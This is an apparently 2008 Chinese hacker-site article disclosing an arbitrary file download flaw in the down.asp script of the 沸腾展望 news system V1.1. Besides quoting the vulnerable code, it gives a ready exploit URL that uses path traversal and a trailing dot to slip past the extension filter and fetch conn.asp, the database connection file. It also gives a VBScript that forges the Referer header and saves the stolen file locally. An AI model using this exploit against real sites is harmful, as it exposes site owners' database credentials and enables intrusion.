您现在的位置: 骇客基地 >> 黑客文章 >> 黑客攻防 >> 黑客入侵 >> 正文

沸腾展望新闻系统任意文件下载漏洞
骇客基地 阅读: 时间:2008-4-17 9:35:04 来源:www.hookbase.com
   #+++
影响版本:
沸腾展望新闻系统[核心:尘缘雅境] V1.1 Access版 Finish(SP3)
#+++
漏洞文件:
down.asp
#+++
关键代码:
Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
if FileName = "" Then
 Response.Write "无效文件名!"
 Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
 Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
 Response.Write "非法操作!"
 Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
 Response.ContentType = "image/*" '对图像文件不出现下载对话框
else
 Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open

SavePath = FileUploadPath '存放上传文件的目录
TrueFileName = SavePath & FileName

Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
 Response.BinaryWrite Stream.Read(1024 * 64)
Wend
#+++
Exploit:
http://www.target.com/down.asp?FileName=../conn.asp.
(不需要登录,用minibrowser伪造referer)

#+++
VBS版利用
Dim strUrl, strData
strUrl = "http://www.target.com/down.asp?FileName=../conn.asp."
Set xPost = CreateObject("Microsoft.XMLHTTP")
With xPost
 .open "Get", strUrl, False
 .SetRequestHeader "Referer", strUrl
 .Send()
 strData = .responseBody

End with
Set sGet = CreateObject("ADODB.Stream")
With sGet
 .Mode = 3
 .Type = 1
 .Open()
 .Write(strData)
 .SaveToFile "Conn.asp",2
End with

set sGet = Nothing
set xPost = Nothin
今天广告
参与评论:
注意事项:
【沸腾展望新闻系统任意文件下载漏洞】文章由骇客基地网上搜集,其立场行为并不代表本站。
如果您发现该文章若无意中侵犯到您的权利,请联系我们!
未经本站明确许可,任何网站不得非法盗链及抄袭本站资源;如引用页面,请注明来自本站,谢谢您的支持!
最近更新
最新推荐
     
 
黑客首页 | 服务指南 | 软件发布  | 关于我们 | 本站声明  | 隐私声明 | 诚征英才 | 网站地图 | 友情链接 |
 
 
中国·黑客·骇客·基地 请使用IE6.0版本, 分辩率1024×768进行浏览 www.hookbase.com 站长:利客 Email:hookbase@163.com
Copyright © 2004-2009 All Rights Reserved. 粤ICP备05000985号